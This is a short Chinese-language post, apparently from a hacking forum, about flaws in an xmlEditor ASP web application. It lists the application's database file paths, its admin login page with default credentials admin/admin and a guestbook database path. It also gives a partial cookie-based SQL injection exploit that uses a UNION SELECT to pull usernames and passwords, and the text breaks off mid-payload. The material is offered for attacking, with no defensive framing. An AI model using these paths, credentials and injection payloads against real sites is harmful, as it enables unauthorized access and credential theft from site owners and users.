利用工具可以用任意语言编写其实就是发送漏洞代码就行了。一个request一个response，我尝试用过纯JS PHP JSP JavaSwing JavaFX 现在android版本都快写好了。本来打算发视频和利用工具的不过还是算了吧，懂的人自然就懂了....

数据库地址：xmlEditor/database/####@@@datas.mdb后台 xmleditor/login.asp admin/admin留言数据库：guestbook/db/sywl.aspcookie注入...

漏洞一：s新闻页面 具体EXP：javascript:alert(document.cookie=”id=”+escape(“220 union select 1,username,passw...